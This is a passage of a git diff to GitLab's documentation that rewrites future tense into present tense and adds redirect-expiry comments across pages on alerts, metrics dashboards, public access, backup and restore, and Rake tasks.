payload](#customize-the-alert-payload-outside-of-gitl 1. In the **Integration** dropdown menu, select **HTTP Endpoint**. 1. Name the integration. 1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key** - for the webhook configuration. You will input the URL and Authorization Key + for the webhook configuration. You must also input the URL and Authorization Key in your external service. 1. _(Optional)_ To generate a test alert to test the new integration, enter a sample payload, then click **Save and test alert payload**.Valid JSON is required. @@ -174,7 +174,7 @@ DANGER: **Deprecated:** We are building deeper integration with Opsgenie and other alerting tools through [HTTP endpoint integrations](#generic-http-endpoint) so you can see alerts within the GitLab interface. As a result, the previous direct link to Opsgenie Alerts from -the GitLab alerts list will be deprecated following the 13.7 release on December 22, 2020. +the GitLab alerts list is scheduled for deprecation following the 13.7 release on December 22, 2020. > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index 37836f4ab50..883ae204373 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Alerts -Alerts are a critical entity in your incident managment workflow. They represent a notable event that might indicate a service outage or disruption. GitLab provides a list view for triage and detail view for deeper investigation of what happened. +Alerts are a critical entity in your incident management workflow. They represent a notable event that might indicate a service outage or disruption. GitLab provides a list view for triage and detail view for deeper investigation of what happened. ## Alert List @@ -84,7 +84,7 @@ The **Alert details** tab has two sections. The top section provides a short lis > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217768) in GitLab 13.2. -The **Metrics** tab will display a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab will be empty. To set up alerts for GitLab-managed Prometheus instances, see [Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances). For externally-managed Prometheus instances, you will need to configure your alerting +The **Metrics** tab displays a metrics chart for alerts coming from Prometheus. If the alert originated from any other tool, the **Metrics** tab is empty. To set up alerts for GitLab-managed Prometheus instances, see [Managed Prometheus instances](../metrics/alerts.md#managed-prometheus-instances). For externally-managed Prometheus instances, you must configure your alerting rules to display a chart in the alert. For information about how to configure your alerting rules, see [Embedding metrics based on alerts in incident issues](../metrics/embed.md#embedding-metrics-based-on-alerts-in-incident-issues). See [External Prometheus instances](../metrics/alerts.md#external-prometheus-instances) @@ -127,7 +127,7 @@ To view the logs for an alert: The **Activity feed** tab is a log of activity on the alert. When you take action on an alert, this is logged as a system note. This gives you a linear timeline of the alert's investigation and assignment history. -The following actions will result in a system note: +The following actions result in a system note: - [Updating the status of an alert](#update-an-alerts-status) - [Creating an incident based on an alert](#create-an-incident-from-an-alert) @@ -137,7 +137,7 @@ The following actions will result in a system note: ## Alert actions -There are different actions avilable in GitLab to help triage and respond to alerts. +There are different actions available in GitLab to help triage and respond to alerts. ### Update an alert's status diff --git a/doc/operations/incident_management/generic_alerts.md b/doc/operations/incident_management/generic_alerts.md index 29d609f1811..44b1f4b088a 100644 --- a/doc/operations/incident_management/generic_alerts.md +++ b/doc/operations/incident_management/generic_alerts.md @@ -3,3 +3,6 @@ redirect_to: alert_integrations.md --- This document was moved to [another location](alert_integrations.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md index 4230091866e..1436e18ccc4 100644 --- a/doc/operations/incident_management/status_page.md +++ b/doc/operations/incident_management/status_page.md @@ -128,11 +128,11 @@ To publish an incident: issue to the GitLab Status Page. Confidential issues can't be published. A background worker publishes the issue onto the Status Page using the credentials -you provided during setup. As part of publication, GitLab will: +you provided during setup. As part of publication, GitLab: -- Anonymize user and group mentions with `Incident Responder`. -- Remove titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references). -- Publish any files attached to incident issue descriptions, up to 5000 per issue. +- Anonymizes user and group mentions with `Incident Responder`. +- Removes titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references). +- Publishes any files attached to incident issue descriptions, up to 5000 per issue. ([Introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/205166).) After publication, you can access the incident's details page by clicking the diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md index 79e3bdbd69c..2fa844e362a 100644 --- a/doc/operations/metrics/alerts.md +++ b/doc/operations/metrics/alerts.md @@ -53,8 +53,8 @@ as soon as the alert fires: For manually configured Prometheus servers, GitLab provides a notify endpoint for use with Prometheus webhooks. If you have manual configuration enabled, an **Alerts** section is added to **Settings > Integrations > Prometheus**. -This section contains the **URL** and **Authorization Key** you will need. The -**Reset Key** button will invalidate the key and generate a new one. +This section contains the needed **URL** and **Authorization Key**. The +**Reset Key** button invalidates the key and generates a new one.  @@ -85,7 +85,7 @@ Prometheus server to use the ## Trigger actions from alerts **(ULTIMATE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4925) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.11. -> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it will automatically close the associated issue. +> - [From GitLab Ultimate 12.5](https://gitlab.com/gitlab-org/gitlab/-/issues/13401), when GitLab receives a recovery alert, it automatically closes the associated issue. Alerts can be used to trigger actions, like opening an issue automatically (disabled by default since `13.1`). To configure the actions: diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md index c11da2926bb..7717f589b09 100644 --- a/doc/operations/metrics/dashboards/index.md +++ b/doc/operations/metrics/dashboards/index.md @@ -66,8 +66,8 @@ To create a new dashboard from the command line: Your custom dashboard is available at `https://example.com/project/-/metrics/custom_dashboard_name.yml`. NOTE: **Note:** -Configuration files nested under subdirectories of `.gitlab/dashboards` are not -supported and won't be available in the UI. +Configuration files nested under subdirectories of `.gitlab/dashboards` aren't +supported or available in the UI. ## Add a new metrics panel to a dashboard @@ -156,7 +156,7 @@ and end times to the URL, enabling you to share specific timeframes more easily. You can use **Metrics Dashboard Annotations** to mark any important events on every metrics dashboard by adding annotations to it. While viewing a dashboard, -annotation entries assigned to the selected time range will be automatically +annotation entries assigned to the selected time range are automatically fetched and displayed on every chart within that dashboard. On mouse hover, each annotation presents additional details, including the exact time of an event and its description. diff --git a/doc/operations/metrics/dashboards/panel_types.md b/doc/operations/metrics/dashboards/panel_types.md index fd9d2bf7899..589e10cf4c6 100644 --- a/doc/operations/metrics/dashboards/panel_types.md +++ b/doc/operations/metrics/dashboards/panel_types.md @@ -39,7 +39,7 @@ Note the following properties:  -Starting in [version 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/202696), the y-axis values will automatically scale according to the data. Previously, it always started from 0. +Starting in [version 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/202696), the y-axis values scale according to the data. Previously, it always started from 0. ## Anomaly chart diff --git a/doc/operations/metrics/dashboards/templating_variables.md b/doc/operations/metrics/dashboards/templating_variables.md index 1c0b05b0e53..6cd9fd26917 100644 --- a/doc/operations/metrics/dashboards/templating_variables.md +++ b/doc/operations/metrics/dashboards/templating_variables.md @@ -25,8 +25,8 @@ CAUTION: **Warning:** This variable type is an _alpha_ feature, and is subject to change at any time without prior notice! -For each `text` variable defined in the dashboard YAML, there will be a free text -box on the dashboard UI, allowing you to enter a value for each variable. +For each `text` variable defined in the dashboard YAML, a free text field displays +on the dashboard UI, allowing you to enter a value for each variable. The `text` variable type supports a simple and a full syntax. @@ -44,7 +44,7 @@ templating: ### Full syntax This example creates a variable called `variable1`, with a default value of `default`. -The label for the text box on the UI will be the value of the `label` key: +The label for the text box on the UI is the value of the `label` key: ```yaml templating: @@ -70,7 +70,7 @@ The `custom` variable type supports a simple and a full syntax. ### Simple syntax This example creates a variable called `variable1`, with a default value of `value1`. -The dashboard UI will display a dropdown with `value1`, `value2` and `value3` +The dashboard UI displays a dropdown with `value1`, `value2` and `value3` as the choices. ```yaml @@ -82,12 +82,12 @@ templating: ### Full syntax This example creates a variable called `variable1`, with a default value of `value_option_2`. -The label for the text box on the UI will be the value of the `label` key. -The dashboard UI will display a dropdown with `Option 1` and `Option 2` +The label for the text box on the UI is the value of the `label` key. +The dashboard UI displays a dropdown with `Option 1` and `Option 2` as the choices. -If you select `Option 1` from the dropdown, the variable will be replaced with `value option 1`. -Similarly, if you select `Option 2`, the variable will be replaced with `value_option_2`: +If you select `Option 1` from the dropdown, the variable is replaced with `value option 1`. +Similarly, if you select `Option 2`, the variable is replaced with `value_option_2`: ```yaml templating: @@ -112,8 +112,8 @@ without prior notice! ### Full syntax -This example creates a variable called `variable2`. The values of the dropdown will -be all the different values of the `backend` label in the Prometheus series described by +This example creates a variable called `variable2`. The values of the dropdown are +all the different values of the `backend` label in the Prometheus series described by `up{env="production"}`. ```yaml diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md index e1f5f0ce6f4..1227c937671 100644 --- a/doc/operations/metrics/dashboards/variables.md +++ b/doc/operations/metrics/dashboards/variables.md @@ -12,7 +12,7 @@ Variables can be specified using double curly braces, such as `"{{ci_environment Support for the `"%{ci_environment_slug}"` format was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31581) in GitLab 13.0. -Queries that continue to use the old format will show no data. +Queries that continue to use the old format display no data. ## Predefined variables diff --git a/doc/operations/metrics/dashboards/yaml.md b/doc/operations/metrics/dashboards/yaml.md index 13397eb702a..4932afc5047 100644 --- a/doc/operations/metrics/dashboards/yaml.md +++ b/doc/operations/metrics/dashboards/yaml.md @@ -53,7 +53,7 @@ is no longer used. | `group` | string | required | Heading for the panel group. | | `panels` | array | required | The panels which should be in the panel group. | -Panels in a panel group are laid out in rows consisting of two panels per row. An exception to this rule are single panels on a row: these panels will take the full width of their containing row. +Panels in a panel group are laid out in rows consisting of two panels per row. An exception to this rule are single panels on a row: these panels take the full width of their containing row. ## **Panel (`panels`) properties** @@ -87,15 +87,15 @@ is no longer used. | `id` | string | no | Used for associating dashboard metrics with database records. Must be unique across dashboard configuration files. Required for [alerting](../alerts.md) (support not yet enabled, see [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/27980)). | | `unit` | string | yes | Defines the unit of the query's return data. | | `label` | string | no, but highly encouraged | Defines the legend-label for the query. Should be unique within the panel's metrics. Can contain time series labels as interpolated variables. | -| `query` | string/number | yes if `query_range` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) will be used. | -| `query_range` | string/number | yes if `query` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query_range` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) will be used. | +| `query` | string/number | yes if `query_range` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) is used. | +| `query_range` | string/number | yes if `query` is not defined | Defines the Prometheus query to be used to populate the chart/panel. If defined, the `query_range` endpoint of the [Prometheus API](https://prometheus.io/docs/prometheus/latest/querying/api/) is used. | | `step` | number | no, value is calculated if not defined | Defines query resolution step width in float number of seconds. Metrics on the same panel should use the same `step` value. | ## Dynamic labels Dynamic labels are useful when multiple time series are returned from a Prometheus query. -When a static label is used and a query returns multiple time series, then all the legend items will be labeled the same, which makes identifying each time series difficult: +When a static label is used and a query returns multiple time series, then all the legend items are labeled the same, which makes identifying each time series difficult: ```yaml metrics: @@ -109,7 +109,7 @@ This may render a legend like this:  -For labels to be more explicit, using variables that reflect time series labels is a good practice. The variables will be replaced by the values of the time series labels when the legend is rendered: +For labels to be more explicit, using variables that reflect time series labels is a good practice. The variables are replaced by the values of the time series labels when the legend is rendered: ```yaml metrics: @@ -119,7 +119,7 @@ metrics: unit: 'count' ``` -The resulting rendered legend will look like this: +The resulting rendered legend looks like this:  @@ -133,7 +133,7 @@ metrics: unit: 'count' ``` -This works by lowercasing the value of `label` and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value will be used and rendered in the legend like this: +This works by lowercasing the value of `label` and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value renders in the legend like this:  diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index 6ce0bd42d3c..54187e10142 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -147,7 +147,7 @@ After saving them, they display on the environment metrics dashboard provided th A few fields are required: - **Name**: Chart title -- **Type**: Type of metric. Metrics of the same type will be shown together. +- **Type**: Type of metric. Metrics of the same type are shown together. - **Query**: Valid [PromQL query](https://prometheus.io/docs/prometheus/latest/querying/basics/). - **Y-axis label**: Y axis title to display on the dashboard. - **Unit label**: Query units, for example `req / sec`. Shown next to the value. diff --git a/doc/operations/moving_repositories.md b/doc/operations/moving_repositories.md index 57d47e3e9ea..07df1607d37 100644 --- a/doc/operations/moving_repositories.md +++ b/doc/operations/moving_repositories.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/moving_repositories.md' --- This document was moved to [another location](../administration/operations/moving_repositories.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/sidekiq_memory_killer.md b/doc/operations/sidekiq_memory_killer.md index 2df4a6e5648..b98e4abb4d0 100644 --- a/doc/operations/sidekiq_memory_killer.md +++ b/doc/operations/sidekiq_memory_killer.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/sidekiq_memory_killer.md' --- This document was moved to [another location](../administration/operations/sidekiq_memory_killer.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md index b6ef552772e..94e9fdf5dff 100644 --- a/doc/operations/tracing.md +++ b/doc/operations/tracing.md @@ -38,4 +38,4 @@ GitLab provides an easy way to open the Jaeger UI from within your project: 1. Navigate to your project's **Settings > Operations** and provide the Jaeger URL. 1. Click **Save changes** for the changes to take effect. 1. You can now visit **Operations > Tracing** in your project's sidebar and - GitLab will redirect you to the configured Jaeger URL. + GitLab redirects you to the configured Jaeger URL. diff --git a/doc/operations/unicorn.md b/doc/operations/unicorn.md index 949f4a66c9d..d10b7f8bbb9 100644 --- a/doc/operations/unicorn.md +++ b/doc/operations/unicorn.md @@ -3,3 +3,6 @@ redirect_to: '../administration/operations/unicorn.md' --- This document was moved to [another location](../administration/operations/unicorn.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/permissions/permissions.md b/doc/permissions/permissions.md index 85923a40b2c..38b68ff9e42 100644 --- a/doc/permissions/permissions.md +++ b/doc/permissions/permissions.md @@ -5,3 +5,6 @@ redirect_to: '../user/permissions.md' # Permissions This document was moved to [user/permissions.md](../user/permissions.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/public_access/public_access.md b/doc/public_access/public_access.md index 1f9486dc324..51a9131ac5c 100644 --- a/doc/public_access/public_access.md +++ b/doc/public_access/public_access.md @@ -17,19 +17,19 @@ public access directory (`/public` under your GitLab instance), like at <https:/ Public projects can be cloned **without any** authentication over HTTPS. -They will be listed in the public access directory (`/public`) for all users. +They are listed in the public access directory (`/public`) for all users. -**Any logged in user** will have [Guest permissions](../user/permissions.md) +**Any logged in user** has [Guest permissions](../user/permissions.md) on the repository. ### Internal projects Internal projects can be cloned by any logged in user except [external users](../user/permissions.md#external-users). -They will also be listed in the public access directory (`/public`), but only for logged +They are also listed in the public access directory (`/public`), but only for logged in users. -Any logged in user except [external users](../user/permissions.md#external-users) will have [Guest permissions](../user/permissions.md) +Any logged in users except [external users](../user/permissions.md#external-users) have [Guest permissions](../user/permissions.md) on the repository. NOTE: **Note:** @@ -42,7 +42,7 @@ visibility setting keep this setting. You can read more about the change in the Private projects can only be cloned and viewed by project members (except for guests). -They will appear in the public access directory (`/public`) for project members only. +They appear in the public access directory (`/public`) for project members only. ### How to change project visibility @@ -59,7 +59,7 @@ In previous versions, a group's page was always visible to all users. Like with projects, the visibility of a group can be set to dictate whether anonymous users, all signed in users, or only explicit group members can view it. The restriction for visibility levels on the application setting level also -applies to groups, so if that's set to internal, the explore page will be empty +applies to groups, so if that's set to internal, the explore page is empty for anonymous users. The group page now has a visibility level icon. Admin users cannot create subgroups or projects with higher visibility level than that of the immediate parent group. @@ -96,7 +96,7 @@ For details, see [Restricted visibility levels](../user/admin_area/settings/visi > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33358) in GitLab 12.6. -Reducing a project's visibility level will remove the fork relationship between the project and +Reducing a project's visibility level removes the fork relationship between the project and any forked project. This is a potentially destructive action which requires confirmation before this can be saved. diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md index a06fe00ef0d..a10557d2db8 100644 --- a/doc/raketasks/backup_restore.md +++ b/doc/raketasks/backup_restore.md @@ -16,7 +16,7 @@ of GitLab on which it was created. The best way to migrate your repositories from one server to another is through backup restore. CAUTION: **Warning:** -GitLab won't back up items that aren't stored in the filesystem. If you're +GitLab doesn't back up items that aren't stored in the filesystem. If you're using [object storage](../administration/object_storage.md), be sure to enable backups with your object storage provider, if desired. @@ -38,8 +38,8 @@ system. If you installed GitLab: ## Backup timestamp -The backup archive will be saved in `backup_path`, which is specified in the -`config/gitlab.yml` file. The filename will be `[TIMESTAMP]_gitlab_backup.tar`, +The backup archive is saved in `backup_path`, which is specified in the +`config/gitlab.yml` file. The filename is `[TIMESTAMP]_gitlab_backup.tar`, where `TIMESTAMP` identifies the time at which each backup was created, plus the GitLab version. The timestamp is needed if you need to restore GitLab and multiple backups are available. @@ -112,8 +112,8 @@ kubectl exec -it <gitlab task-runner pod> backup-utility ``` Similar to the Kubernetes case, if you have scaled out your GitLab cluster to -use multiple application servers, you should pick a designated node (that won't -be auto-scaled away) for running the backup Rake task. Because the backup Rake +use multiple application servers, you should pick a designated node (that isn't +auto-scaled away) for running the backup Rake task. Because the backup Rake task is tightly coupled to the main Rails application, this is typically a node on which you're also running Unicorn/Puma or Sidekiq. @@ -200,11 +200,11 @@ data locations to the backup using the Linux command `tar` and `gzip`. This work fine in most cases, but can cause problems when data is rapidly changing. When data changes while `tar` is reading it, the error `file changed as we read -it` may occur, and will cause the backup process to fail. To combat this, 8.17 +it` may occur, and causes the backup process to fail. To combat this, 8.17 introduces a new backup strategy called `copy`. The strategy copies data files to a temporary location before calling `tar` and `gzip`, avoiding the error. -A side-effect is that the backup process will take up to an additional 1X disk +A side-effect is that the backup process takes up to an additional 1X disk space. The process does its best to clean up the temporary files at each stage so the problem doesn't compound, but it could be a considerable change for large installations. This is why the `copy` strategy is not the default in 8.17. @@ -221,7 +221,7 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back #### Backup filename CAUTION: **Warning:** -If you use a custom backup filename, you will not be able to +If you use a custom backup filename, you can't [limit the lifetime of the backups](#limit-backup-lifetime-for-local-files-prune-old-backups). By default, a backup file is created according to the specification in the @@ -235,8 +235,8 @@ sudo gitlab-backup create BACKUP=dump Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:backup:create` instead. -The resulting file will then be `dump_gitlab_backup.tar`. This is useful for -systems that make use of rsync and incremental backups, and will result in +The resulting file is named `dump_gitlab_backup.tar`. This is useful for +systems that make use of rsync and incremental backups, and results in considerably faster transfer speeds. #### Rsyncable @@ -257,22 +257,25 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back #### Excluding specific directories from the backup -You can choose what should be exempt from the backup by adding the environment -variable `SKIP`. The available options are: +You can exclude specific directories from the backup by adding the environment variable `SKIP`, whose values are a comma-separated list of the following options: - `db` (database) - `uploads` (attachments) -- `repositories` (Git repositories data) - `builds` (CI job output logs) - `artifacts` (CI job artifacts) - `lfs` (LFS objects) - `registry` (Container Registry images) - `pages` (Pages content) +- `repositories` (Git repositories data) -Use a comma to specify several options at the same time: +All wikis will be backed up as part of the `repositories` group. Non-existent wikis will be skipped during a backup. + +NOTE: **Note:** +When [backing up and restoring Helm Charts](https://docs.gitlab.com/charts/architecture/backup-restore.html), there is an additional option `packages`, which refers to any packages managed by the GitLab [package registry](../user/packages/package_registry/index.md). +For more information see [command line arguments](https://docs.gitlab.com/charts/architecture/backup-restore.html#command-line-arguments). -All wikis will be backed up as part of the `repositories` group. Non-existent -wikis will be skipped during a backup. +All wikis are backed up as part of the `repositories` group. Non-existent +wikis are skipped during a backup. For Omnibus GitLab packages: @@ -297,7 +300,7 @@ harmful, so you can skip this step by adding `tar` to the `SKIP` environment variable. Adding `tar` to the `SKIP` variable leaves the files and directories containing the -backup in the directory used for the intermediate files. These files will be +backup in the directory used for the intermediate files. These files are overwritten when a new backup is created, so you should make sure they are copied elsewhere, because you can only have one backup on the system. @@ -454,7 +457,7 @@ For installations from source: 1. [Restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect -If you're uploading your backups to S3, you'll probably want to create a new +If you're uploading your backups to S3, you should create a new IAM user with restricted access rights. To give the upload user access only for uploading backups create the following IAM profile, replacing `my.s3.bucket` with the name of your bucket: @@ -620,7 +623,7 @@ as (for Omnibus packages, this is the `git` user). The `backup_upload_remote_directory` _must_ be set in addition to the `local_root` key. This is the sub directory inside the mounted directory that -backups will be copied to, and will be created if it does not exist. If the +backups are copied to, and is created if it does not exist. If the directory that you want to copy the tarballs to is the root of your mounted directory, use `.` instead. @@ -667,7 +670,7 @@ For installations from source: #### Backup archive permissions The backup archives created by GitLab (`1393513186_2014_02_27_gitlab_backup.tar`) -will have owner/group `git`/`git` and 0600 permissions by default. This is +have the owner/group `git`/`git` and 0600 permissions by default. This is meant to avoid other system users reading GitLab's data. If you need the backup archives to have different permissions, you can use the `archive_permissions` setting. @@ -741,7 +744,7 @@ output if there aren't any errors. This is recommended to reduce cron spam. ### Limit backup lifetime for local files (prune old backups) CAUTION: **Warning:** -The process described in this section will not work if you used a [custom filename](#backup-filename) +The process described in this section don't work if you used a [custom filename](#backup-filename) for your backups. To prevent regular backups from using all your disk space, you may want to set a limited lifetime @@ -791,8 +794,8 @@ once before attempting to perform it in a production environment. You can restore a backup only to _the exact same version and type (CE/EE)_ of GitLab that you created it on (for example CE 9.1.0). -If your backup is a different version than the current installation, you'll -need to [downgrade your GitLab installation](https://docs.gitlab.com/omnibus/update/README.html#downgrade) +If your backup is a different version than the current installation, you must +[downgrade your GitLab installation](https://docs.gitlab.com/omnibus/update/README.html#downgrade) before restoring the backup. ### Restore prerequisites @@ -800,17 +803,17 @@ before restoring the backup. You need to have a working GitLab installation before you can perform a restore. This is because the system user performing the restore actions (`git`) is usually not allowed to create or delete the SQL database needed to import -data into (`gitlabhq_production`). All existing data will be either erased +data into (`gitlabhq_production`). All existing data is either erased (SQL) or moved to a separate directory (such as repositories and uploads). -To restore a backup, you'll also need to restore `/etc/gitlab/gitlab-secrets.json` +To restore a backup, you must restore `/etc/gitlab/gitlab-secrets.json` (for Omnibus packages) or `/home/git/gitlab/.secret` (for installations from source). This file contains the database encryption key, [CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md). If you fail to restore this encryption key file along with the application data -backup, users with two-factor authentication enabled and GitLab Runner will -lose access to your GitLab server. +backup, users with two-factor authentication enabled and GitLab Runner +loses access to your GitLab server. You may also want to restore any TLS keys, certificates, or [SSH host keys](https://superuser.com/questions/532040/copy-ssh-keys-from-one-server-to-another-server/532079#532079). @@ -825,7 +828,7 @@ more of the following options: - `BACKUP=timestamp_of_backup`: Required if more than one backup exists. Read what the [backup timestamp is about](#backup-timestamp). - `force=yes`: Doesn't ask if the authorized_keys file should get regenerated, - and assumes 'yes' for warning that database tables will be removed, + and assumes 'yes' for warning about database tables being removed, enabling the "Write to authorized_keys file" setting, and updating LDAP providers. @@ -1033,7 +1036,7 @@ Example: LVM snapshots + rsync > A GitLab server using Omnibus GitLab, with an LVM logical volume mounted at `/var/opt/gitlab`. > Replicating the `/var/opt/gitlab` directory using rsync would not be reliable because too many files would change while rsync is running. > Instead of rsync-ing `/var/opt/gitlab`, we create a temporary LVM snapshot, which we mount as a read-only filesystem at `/mnt/gitlab_backup`. -> Now we can have a longer running rsync job which will create a consistent replica on the remote server. +> Now we can have a longer running rsync job which creates a consistent replica on the remote server. > The replica includes all repositories, uploads and PostgreSQL data. If you're running GitLab on a virtualized server, you can possibly also create @@ -1045,7 +1048,7 @@ practical use. Do NOT backup or restore GitLab through a PgBouncer connection. These tasks must [bypass PgBouncer and connect directly to the PostgreSQL primary database node](#bypassing-pgbouncer), -or they will cause a GitLab outage. +or they cause a GitLab outage. When the GitLab backup or restore task is used with PgBouncer, the following error message is shown: @@ -1170,7 +1173,7 @@ unexpected behaviors, such as: In this case, you must reset all the tokens for CI/CD variables and runner authentication, which is described in more detail in the following sections. After resetting the tokens, you should be able to visit your project -and the jobs will have started running again. +and the jobs begin running again. Use the information in the following sections at your own risk. diff --git a/doc/raketasks/check.md b/doc/raketasks/check.md index ceb089e80c0..1a8149ca04a 100644 --- a/doc/raketasks/check.md +++ b/doc/raketasks/check.md @@ -3,3 +3,6 @@ redirect_to: '../administration/raketasks/check.md' --- This document was moved to [another location](../administration/raketasks/check.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/raketasks/cleanup.md b/doc/raketasks/cleanup.md index 00a3e9196e2..71eca512463 100644 --- a/doc/raketasks/cleanup.md +++ b/doc/raketasks/cleanup.md @@ -18,7 +18,7 @@ have finished, which otherwise may lead to data loss. When you remove LFS files from a repository's history, they become orphaned and continue to consume disk space. With this Rake task, you can remove invalid references from the database, which -will allow garbage collection of LFS files. +allows garbage collection of LFS files. For example: @@ -44,7 +44,7 @@ By default, this task does not delete anything but shows how many file reference delete. Run the command with `DRY_RUN=false` if you actually want to delete the references. You can also use `LIMIT={number}` parameter to limit the number of deleted references. -Note that this Rake task only removes the references to LFS files. Unreferenced LFS files will be garbage-collected +Note that this Rake task only removes the references to LFS files. Unreferenced LFS files are garbage-collected later (once a day). If you need to garbage collect them immediately, run `rake gitlab:cleanup:orphan_lfs_files` described below. @@ -149,7 +149,7 @@ I, [2018-08-02T10:26:47.764356 #45087] INFO -- : Moved to lost and found: @hash > - [`ionice` support fixed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28023) in GitLab 12.10. NOTE: **Note:** -These commands will not work for artifacts stored on +These commands don't work for artifacts stored on [object storage](../administration/object_storage.md). When you notice there are more job artifacts files and/or directories on disk than there @@ -179,10 +179,10 @@ You can also limit the number of files to delete with `LIMIT`: sudo gitlab-rake gitlab:cleanup:orphan_job_artifact_files LIMIT=100 ``` -This will only delete up to 100 files from disk. You can use this to -delete a small set for testing purposes. +This deletes only up to 100 files from disk. You can use this to delete a small +set for testing purposes. -If you provide `DEBUG=1`, you'll see the full path of every file that +Providing `DEBUG=1` displays the full path of every file that is detected as being an orphan. If `ionice` is installed, the tasks uses it to ensure the command is diff --git a/doc/raketasks/features.md b/doc/raketasks/features.md index ecdf6aee069..0bf0dd2b826 100644 --- a/doc/raketasks/features.md +++ b/doc/raketasks/features.md @@ -10,11 +10,11 @@ This Rake task enables [namespaces](../user/group/index.md#namespaces) for proje ## Enable usernames and namespaces for user projects -This command will enable the namespaces feature introduced in GitLab 4.0. It will move every project in its namespace folder. +This command enables the namespaces feature introduced in GitLab 4.0. It moves every project in its namespace folder. Note: -- The **repository location will change**, so you will need to **update all your Git URLs** to +- The **repository location changes as part of this task**, so you must **update all your Git URLs** to point to the new location. - The username can be changed at **Profile > Account**. diff --git a/doc/raketasks/generate_sample_prometheus_data.md b/doc/raketasks/generate_sample_prometheus_data.md index f37aa95c63b..f84fe4249ae 100644 --- a/doc/raketasks/generate_sample_prometheus_data.md +++ b/doc/raketasks/generate_sample_prometheus_data.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Generate sample Prometheus data **(CORE ONLY)** -This command will run Prometheus queries for each of the metrics of a specific environment +This command runs Prometheus queries for each of the metrics of a specific environment for a series of time intervals to now: - 30 minutes diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md index ecd777361a7..a0d8fd0a68b 100644 --- a/doc/raketasks/import.md +++ b/doc/raketasks/import.md @@ -13,13 +13,13 @@ please use [our project-based import/export](../user/project/settings/import_exp Note that: -- The owner of the project will be the first administrator. -- The groups will be created as needed, including subgroups. -- The owner of the group will be the first administrator. -- Existing projects will be skipped. +- The owner of the project is the first administrator. +- The groups are created as needed, including subgroups. +- The owner of the group is the first administrator. +- Existing projects are skipped. - Projects in hashed storage may be skipped. For more information, see [Importing bare repositories from hashed storage](#importing-bare-repositories-from-hashed-storage). -- The existing Git repositories will be moved from disk (removed from the original path). +- The existing Git repositories ware moved from disk (removed from the original path). To import bare repositories into a GitLab instance: @@ -35,8 +35,8 @@ To import bare repositories into a GitLab instance: 1. Copy your bare repositories inside this newly created folder. Note: - - Any `.git` repositories found on any of the subfolders will be imported as projects. - - 